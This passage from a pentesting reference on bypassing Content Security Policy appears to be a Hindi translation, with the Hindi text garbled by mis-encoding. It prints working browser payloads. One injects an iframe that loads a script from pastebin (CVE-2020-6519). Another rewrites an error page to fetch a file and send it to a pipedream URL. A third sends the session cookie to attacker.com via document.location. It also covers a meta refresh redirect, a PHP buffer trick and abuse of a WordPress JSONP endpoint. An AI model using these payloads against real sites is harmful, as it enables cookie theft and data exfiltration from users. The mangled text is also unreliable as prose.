рдЗрд╕ CTF рд▓реЗрдЦрди рдореЗрдВ, CSP рдХреЛ рдПрдХ рдЕрдиреБрдордд iframe рдХреЗ рдЕрдВрджрд░ рдПрдХ рдЕрдзрд┐рдХ рдкреНрд░рддрд┐рдмрдВрдзрд╛рддреНрдордХ CSP рдХреЛ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдХреЗ рдмрд╛рдпрдкрд╛рд╕ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдЬреЛ рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ JS рдлрд╝рд╛рдЗрд▓ рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рджреЗрддрд╛ рд╣реИ, рдЬреЛ рдлрд┐рд░, рдкреНрд░реЛрдЯреЛрдЯрд╛рдЗрдк рдкреНрд░рджреВрд╖рдг рдпрд╛ DOM рдХреНрд▓реЙрдмрд░рд┐рдВрдЧ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХ рдЕрд▓рдЧ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдордирдорд╛рдирд╛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред

рдЖрдк csp рд╡рд┐рд╢реЗрд╖рддрд╛ рдХреЗ рд╕рд╛рде рдПрдХ iframe рдХреЗ CSP рдХреЛ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

{% code overflow="wrap" %}

<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

{% endcode %}

рдЗрд╕ CTF рд▓реЗрдЦ рдореЗрдВ, HTML рдЗрдВрдЬреЗрдХреНрд╢рди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ CSP рдХреЛ рдЕрдзрд┐рдХ рд╕реАрдорд┐рдд рдХрд░рдирд╛ рд╕рдВрднрд╡ рдерд╛, рдЬрд┐рд╕рд╕реЗ CSTI рдХреЛ рд░реЛрдХрдиреЗ рд╡рд╛рд▓рд╛ рдПрдХ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЕрдХреНрд╖рдо рд╣реЛ рдЧрдпрд╛ рдФрд░ рдЗрд╕рд▓рд┐рдП рдХрдордЬреЛрд░реА рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдпрд╛ рдЬрд╛ рд╕рдХрд╛ред
CSP рдХреЛ HTML рдореЗрдЯрд╛ рдЯреИрдЧ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЕрдзрд┐рдХ рд╕реАрдорд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдЗрдирд▓рд╛рдЗрди рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдЕрдХреНрд╖рдо рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЙрдирдХреЗ nonce рдХреЛ рдЕрдиреБрдорддрд┐ рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░рд╡реЗрд╢ рдХреЛ рд╣рдЯрд╛рдХрд░ рдФрд░ sha рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдЗрдирд▓рд╛рдЗрди рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рд╕рдХреНрд╖рдо рдХрд░рдХреЗ:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">

JS exfiltration with Content-Security-Policy-Report-Only

рдпрджрд┐ рдЖрдк рд╕рд░реНрд╡рд░ рдХреЛ Content-Security-Policy-Report-Only рд╣реЗрдбрд░ рдХреЗ рд╕рд╛рде рдЖрдкрдХреЗ рджреНрд╡рд╛рд░рд╛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдорд╛рди рдХреЗ рд╕рд╛рде рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рджреЗрдиреЗ рдореЗрдВ рд╕рдлрд▓ рд╣реЛрддреЗ рд╣реИрдВ (рд╢рд╛рдпрдж CRLF рдХреЗ рдХрд╛рд░рдг), рддреЛ рдЖрдк рдЗрд╕реЗ рдЕрдкрдиреЗ рд╕рд░реНрд╡рд░ рдХреА рдУрд░ рдЗрдВрдЧрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдпрджрд┐ рдЖрдк JS рд╕рд╛рдордЧреНрд░реА рдХреЛ <script> рдХреЗ рд╕рд╛рде рд▓рдкреЗрдЯрддреЗ рд╣реИрдВ рдФрд░ рдХреНрдпреЛрдВрдХрд┐ CSP рджреНрд╡рд╛рд░рд╛ unsafe-inline рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рд╣реИ, рддреЛ рдпрд╣ CSP рддреНрд░реБрдЯрд┐ рдХреЛ рдкреНрд░реЗрд░рд┐рдд рдХрд░реЗрдЧрд╛ рдФрд░ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдПрдХ рднрд╛рдЧ (рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рд╡рд╛рд▓рд╛) Content-Security-Policy-Report-Only рд╕реЗ рд╕рд░реНрд╡рд░ рдкрд░ рднреЗрдЬрд╛ рдЬрд╛рдПрдЧрд╛ред

рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдЗрд╕ CTF рд▓реЗрдЦ рдХреЛ рджреЗрдЦреЗрдВ.

CVE-2020-6519

document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";

CSP рдФрд░ Iframe рдХреЗ рд╕рд╛рде рдЬрд╛рдирдХрд╛рд░реА рд▓реАрдХ рдХрд░рдирд╛

  • рдПрдХ iframe рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ рдПрдХ URL (рдорд╛рди рд▓реЗрддреЗ рд╣реИрдВ https://example.redirect.com) рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ CSP рджреНрд╡рд╛рд░рд╛ рдЕрдиреБрдорддрд┐ рджреА рдЧрдИ рд╣реИред
  • рдпрд╣ URL рдлрд┐рд░ рдПрдХ рдЧреБрдкреНрдд URL (рдЬреИрд╕реЗ, https://usersecret.example2.com) рдХреА рдУрд░ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдХрд░рддрд╛ рд╣реИ рдЬреЛ CSP рджреНрд╡рд╛рд░рд╛ рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рджреА рдЧрдИ рд╣реИред
  • securitypolicyviolation рдЗрд╡реЗрдВрдЯ рдХреЛ рд╕реБрдирдХрд░, рдХреЛрдИ blockedURI рдкреНрд░реЙрдкрд░реНрдЯреА рдХреЛ рдХреИрдкреНрдЪрд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рдкреНрд░реЙрдкрд░реНрдЯреА рдмреНрд▓реЙрдХ рдХрд┐рдП рдЧрдП URI рдХреЗ рдбреЛрдореЗрди рдХреЛ рдкреНрд░рдХрдЯ рдХрд░рддреА рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдкреНрд░рд╛рд░рдВрднрд┐рдХ URL рджреНрд╡рд╛рд░рд╛ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдХрд┐рдП рдЧрдП рдЧреБрдкреНрдд рдбреЛрдореЗрди рдХрд╛ рд▓реАрдХ рд╣реЛрдирд╛ рд╣реЛрддрд╛ рд╣реИред

рдпрд╣ рдзреНрдпрд╛рди рджреЗрдиреЗ рдпреЛрдЧреНрдп рд╣реИ рдХрд┐ Chrome рдФрд░ Firefox рдЬреИрд╕реЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдореЗрдВ CSP рдХреЗ рд╕рдВрдмрдВрдз рдореЗрдВ iframes рдХреЛ рд╕рдВрднрд╛рд▓рдиреЗ рдореЗрдВ рд╡рд┐рднрд┐рдиреНрди рд╡реНрдпрд╡рд╣рд╛рд░ рд╣реЛрддреЗ рд╣реИрдВ, рдЬреЛ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд╕рдВрднрд╛рд╡рд┐рдд рд▓реАрдХ рдХрд╛ рдХрд╛рд░рдг рдмрди рд╕рдХрддреЗ рд╣реИрдВред

рдПрдХ рдФрд░ рддрдХрдиреАрдХ CSP рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЧреБрдкреНрдд рд╕рдмрдбреЛрдореЗрди рдХрд╛ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛рдиреЗ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИред рдпрд╣ рд╡рд┐рдзрд┐ рдПрдХ рдмрд╛рдЗрдирд░реА рд╕рд░реНрдЪ рдПрд▓реНрдЧреЛрд░рд┐рджрдо рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреА рд╣реИ рдФрд░ CSP рдХреЛ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдбреЛрдореЗрди рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдорд╛рдпреЛрдЬрд┐рдд рдХрд░рддреА рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ рдЬрд╛рдирдмреВрдЭрдХрд░ рдмреНрд▓реЙрдХ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдпрджрд┐ рдЧреБрдкреНрдд рд╕рдмрдбреЛрдореЗрди рдЕрдЬреНрдЮрд╛рдд рд╡рд░реНрдгреЛрдВ рд╕реЗ рдмрдирд╛ рд╣реИ, рддреЛ рдЖрдк CSP рдирд┐рд░реНрджреЗрд╢ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдХреЗ рдЗрди рд╕рдмрдбреЛрдореЗрдиреЛрдВ рдХреЛ рдмреНрд▓реЙрдХ рдпрд╛ рдЕрдиреБрдорддрд┐ рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд┐рднрд┐рдиреНрди рд╕рдмрдбреЛрдореЗрдиреЛрдВ рдХрд╛ рдХреНрд░рдорд┐рдХ рдкрд░реАрдХреНрд╖рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣рд╛рдБ рдПрдХ рд╕реНрдирд┐рдкреЗрдЯ рд╣реИ рдЬреЛ рджрд┐рдЦрд╛рддрд╛ рд╣реИ рдХрд┐ CSP рдХреЛ рдЗрд╕ рд╡рд┐рдзрд┐ рдХреЛ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХреИрд╕реЗ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:

img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

CSP рджреНрд╡рд╛рд░рд╛ рдЕрд╡рд░реБрджреНрдз рдпрд╛ рдЕрдиреБрдорддрд┐ рдкреНрд░рд╛рдкреНрдд рдЕрдиреБрд░реЛрдзреЛрдВ рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХрд░рдХреЗ, рдХреЛрдИ рднреА рдЧреБрдкреНрдд рдЙрдкрдбреЛрдореЗрди рдореЗрдВ рд╕рдВрднрд╛рд╡рд┐рдд рд╡рд░реНрдгреЛрдВ рдХреЛ рд╕рдВрдХреАрд░реНрдг рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЕрдВрддрддрдГ рдкреВрд░реНрдг URL рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛ рд╕рдХрддрд╛ рд╣реИред

рджреЛрдиреЛрдВ рд╡рд┐рдзрд┐рдпрд╛рдБ CSP рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдФрд░ рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдореЗрдВ рд╡реНрдпрд╡рд╣рд╛рд░ рдХреЗ рдмрд╛рд░реАрдХрд┐рдпреЛрдВ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддреА рд╣реИрдВ, рдпрд╣ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рддреЗ рд╣реБрдП рдХрд┐ рдХреИрд╕реЗ рдкреНрд░рддреАрдд рд╣реЛрддрд╛ рд╣реИ рдХрд┐ рд╕реБрд░рдХреНрд╖рд┐рдд рдиреАрддрд┐рдпрд╛рдБ рдЕрдирдЬрд╛рдиреЗ рдореЗрдВ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рд▓реАрдХ рдХрд░ рд╕рдХрддреА рд╣реИрдВред

рдпрд╣рд╛рдБ рд╕реЗ рдЯреНрд░рд┐рдХред

рдЕрдиреБрднрд╡реА рд╣реИрдХрд░реЛрдВ рдФрд░ рдмрдЧ рдмрд╛рдЙрдВрдЯреА рд╢рд┐рдХрд╛рд░рд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рд╕рдВрд╡рд╛рдж рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП HackenProof Discord рд╕рд░реНрд╡рд░ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реЛрдВ!

рд╣реИрдХрд┐рдВрдЧ рдЕрдВрддрд░реНрджреГрд╖реНрдЯрд┐
рд╣реИрдХрд┐рдВрдЧ рдХреЗ рд░реЛрдорд╛рдВрдЪ рдФрд░ рдЪреБрдиреМрддрд┐рдпреЛрдВ рдореЗрдВ рдЧрд╣рд░рд╛рдИ рд╕реЗ рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рд╕рд╛рдордЧреНрд░реА рдХреЗ рд╕рд╛рде рд╕рдВрд▓рдЧреНрди рд╣реЛрдВ

рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╕рдордп рд╣реИрдХ рд╕рдорд╛рдЪрд╛рд░
рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╕рдордп рд╕рдорд╛рдЪрд╛рд░ рдФрд░ рдЕрдВрддрд░реНрджреГрд╖реНрдЯрд┐рдпреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рддреЗрдЬрд╝-рддрд░реНрд░рд╛рд░ рд╣реИрдХрд┐рдВрдЧ рджреБрдирд┐рдпрд╛ рдХреЗ рд╕рд╛рде рдЕрджреНрдпрддрд┐рдд рд░рд╣реЗрдВ

рдирд╡реАрдирддрдо рдШреЛрд╖рдгрд╛рдПрдБ
рдирд╡реАрдирддрдо рдмрдЧ рдмрд╛рдЙрдВрдЯреА рд▓реЙрдиреНрдЪ рдФрд░ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рдЕрдкрдбреЗрдЯ рдХреЗ рд╕рд╛рде рд╕реВрдЪрд┐рдд рд░рд╣реЗрдВ

рдЖрдЬ рд╣реА Discord рдкрд░ рд╣рдорд╕реЗ рдЬреБрдбрд╝реЗрдВ рдФрд░ рд╢реАрд░реНрд╖ рд╣реИрдХрд░реЛрдВ рдХреЗ рд╕рд╛рде рд╕рд╣рдпреЛрдЧ рдХрд░рдирд╛ рд╢реБрд░реВ рдХрд░реЗрдВ!

CSP рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рддрдХрдиреАрдХреЗрдВ

рдмрд╣реБрдд рд╕рд╛рд░реЗ рдкреИрд░рд╛рдореАрдЯрд░ рд╣реЛрдиреЗ рдкрд░ PHP рддреНрд░реБрдЯрд┐рдпрд╛рдБ

рдЗрд╕ рд╡реАрдбрд┐рдпреЛ рдореЗрдВ рдЕрдВрддрд┐рдо рддрдХрдиреАрдХ рдХреЗ рдЕрдиреБрд╕рд╛рд░, рдмрд╣реБрдд рд╕рд╛рд░реЗ рдкреИрд░рд╛рдореАрдЯрд░ (1001 GET рдкреИрд░рд╛рдореАрдЯрд░, рд╣рд╛рд▓рд╛рдВрдХрд┐ рдЖрдк рдЗрд╕реЗ POST рдкреИрд░рд╛рдореАрдЯрд░ рдФрд░ 20 рд╕реЗ рдЕрдзрд┐рдХ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рд╕рд╛рде рднреА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ) рднреЗрдЬрдирд╛ред PHP рд╡реЗрдм рдХреЛрдб рдореЗрдВ рдХреЛрдИ рднреА рдкрд░рд┐рднрд╛рд╖рд┐рдд header() рдирд╣реАрдВ рднреЗрдЬрд╛ рдЬрд╛рдПрдЧрд╛ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рддреНрд░реБрдЯрд┐ рдЙрддреНрдкрдиреНрди рдХрд░реЗрдЧрд╛ред

PHP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдмрдлрд░ рдУрд╡рд░рд▓реЛрдб

PHP рдХреЛ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ 4096 рдмрд╛рдЗрдЯреНрд╕ рддрдХ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЛ рдмрдлрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ PHP рдПрдХ рдЪреЗрддрд╛рд╡рдиреА рджрд┐рдЦрд╛ рд░рд╣рд╛ рд╣реИ, рддреЛ рдЪреЗрддрд╛рд╡рдирд┐рдпреЛрдВ рдХреЗ рдЕрдВрджрд░ рдкрд░реНрдпрд╛рдкреНрдд рдбреЗрдЯрд╛ рдкреНрд░рджрд╛рди рдХрд░рдХреЗ, рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ CSP рд╣реЗрдбрд░ рд╕реЗ рдкрд╣рд▓реЗ рднреЗрдЬреА рдЬрд╛рдПрдЧреА, рдЬрд┐рд╕рд╕реЗ рд╣реЗрдбрд░ рдХреЛ рдЕрдирджреЗрдЦрд╛ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред
рдлрд┐рд░, рддрдХрдиреАрдХ рдореВрд▓ рд░реВрдк рд╕реЗ рдЪреЗрддрд╛рд╡рдирд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдмрдлрд░ рдХреЛ рднрд░рдиреЗ рдореЗрдВ рд╣реИ рддрд╛рдХрд┐ CSP рд╣реЗрдбрд░ рди рднреЗрдЬрд╛ рдЬрд╛рдПред

рдЗрд╕ рд▓реЗрдЦ рд╕реЗ рд╡рд┐рдЪрд╛рд░ред

рддреНрд░реБрдЯрд┐ рдкреГрд╖реНрда рдХреЛ рдлрд┐рд░ рд╕реЗ рд▓рд┐рдЦреЗрдВ

рдЗрд╕ рд▓реЗрдЦ рд╕реЗ рдРрд╕рд╛ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ CSP рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдирд╛ рд╕рдВрднрд╡ рдерд╛ рдПрдХ рддреНрд░реБрдЯрд┐ рдкреГрд╖реНрда (рд╕рдВрднрд╡рддрдГ CSP рдХреЗ рдмрд┐рдирд╛) рдХреЛ рд▓реЛрдб рдХрд░рдХреЗ рдФрд░ рдЗрд╕рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рдлрд┐рд░ рд╕реЗ рд▓рд┐рдЦрдХрд░ред

a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);

SOME + 'self' + wordpress

SOME рдПрдХ рддрдХрдиреАрдХ рд╣реИ рдЬреЛ рдПрдХ XSS (рдпрд╛ рдЕрддреНрдпрдзрд┐рдХ рд╕реАрдорд┐рдд XSS) рдПрдХ рдкреГрд╖реНрда рдХреЗ рдЕрдВрдд рдмрд┐рдВрджреБ рдореЗрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рддреА рд╣реИ рддрд╛рдХрд┐ рдПрдХ рд╣реА рдореВрд▓ рдХреЗ рдЕрдиреНрдп рдЕрдВрдд рдмрд┐рдВрджреБрдУрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдпрд╣ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдкреГрд╖реНрда рд╕реЗ рдХрдордЬреЛрд░ рдЕрдВрдд рдмрд┐рдВрджреБ рдХреЛ рд▓реЛрдб рдХрд░рдХреЗ рдФрд░ рдлрд┐рд░ рд╣рдорд▓рд╛рд╡рд░ рдкреГрд╖реНрда рдХреЛ рдЙрд╕реА рдореВрд▓ рдореЗрдВ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдЕрдВрдд рдмрд┐рдВрджреБ рдкрд░ рддрд╛рдЬрд╝рд╛ рдХрд░рдХреЗ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рдЖрдк рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВред рдЗрд╕ рддрд░рд╣ рдХрдордЬреЛрд░ рдЕрдВрдд рдмрд┐рдВрджреБ opener рдСрдмреНрдЬреЗрдХреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдкреЗрд▓реЛрдб рдореЗрдВ DOM рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдЕрдВрдд рдмрд┐рдВрджреБ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рджреЗрдЦреЗрдВ:

{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}

рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, wordpress рдореЗрдВ /wp-json/wp/v2/users/1?_jsonp=data рдкрд░ рдПрдХ JSONP рдЕрдВрдд рдмрд┐рдВрджреБ рд╣реИ рдЬреЛ рдЖрдЙрдЯрдкреБрдЯ рдореЗрдВ рднреЗрдЬреЗ рдЧрдП рдбреЗрдЯрд╛ рдХреЛ рдкреНрд░рддрд┐рдмрд┐рдВрдмрд┐рдд рдХрд░реЗрдЧрд╛ (рдХреЗрд╡рд▓ рдЕрдХреНрд╖рд░реЛрдВ, рд╕рдВрдЦреНрдпрд╛рдУрдВ рдФрд░ рдмрд┐рдВрджреБрдУрдВ рдХреА рд╕реАрдорд╛ рдХреЗ рд╕рд╛рде)ред

рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдЙрд╕ рдЕрдВрдд рдмрд┐рдВрджреБ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ WordPress рдХреЗ рдЦрд┐рд▓рд╛рдл рдПрдХ SOME рд╣рдорд▓реЗ рдХреЛ рдЬрдирд░реЗрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ <script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script> рдХреЗ рдЕрдВрджрд░ рдПрдВрдмреЗрдб рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрд╣ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд▓реЛрдб рд╣реЛрдЧреА рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕реЗ 'self' рджреНрд╡рд╛рд░рд╛ рдЕрдиреБрдорддрд┐ рджреА рдЧрдИ рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдФрд░ рдХреНрдпреЛрдВрдХрд┐ WordPress рд╕реНрдерд╛рдкрд┐рдд рд╣реИ, рдПрдХ рд╣рдорд▓рд╛рд╡рд░ SOME рд╣рдорд▓реЗ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрдордЬреЛрд░ рдХреЙрд▓рдмреИрдХ рдЕрдВрдд рдмрд┐рдВрджреБ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ CSP рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдЕрдзрд┐рдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рджрд┐рдП рдЬрд╛ рд╕рдХреЗрдВ, рдПрдХ рдирдпрд╛ рдкреНрд▓рдЧрдЗрди рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ...
рдЗрд╕ рд╣рдорд▓реЗ рдХреЛ рдХреИрд╕реЗ рдХрд░рдирд╛ рд╣реИ, рдЗрд╕рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рджреЗрдЦреЗрдВ https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/

CSP Exfiltration Bypasses

рдпрджрд┐ рдПрдХ рд╕рдЦреНрдд CSP рд╣реИ рдЬреЛ рдЖрдкрдХреЛ рдмрд╛рд╣рд░реА рд╕рд░реНрд╡рд░реЛрдВ рдХреЗ рд╕рд╛рде рдмрд╛рддрдЪреАрдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рджреЗрддреА рд╣реИ, рддреЛ рдХреБрдЫ рдЪреАрдЬреЗрдВ рд╣реИрдВ рдЬреЛ рдЖрдк рд╣рдореЗрд╢рд╛ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рдПрдХреНрд╕рдлрд┐рд▓реНрдЯреНрд░реЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

Location

рдЖрдк рдмрд╕ рд╕реНрдерд╛рди рдХреЛ рдЕрдкрдбреЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд╕рд░реНрд╡рд░ рдкрд░ рдЧреБрдкреНрдд рдЬрд╛рдирдХрд╛рд░реА рднреЗрдЬреА рдЬрд╛ рд╕рдХреЗ:

var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;

Meta tag

рдЖрдк рдПрдХ рдореЗрдЯрд╛ рдЯреИрдЧ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдХреЗ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдпрд╣ рд╕рд┐рд░реНрдл рдПрдХ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рд╣реИ, рдпрд╣ рд╕рд╛рдордЧреНрд░реА рд▓реАрдХ рдирд╣реАрдВ рдХрд░реЗрдЧрд╛)

<meta http-equiv="refresh" content="1; http://attacker.com">

DNS Prefetch

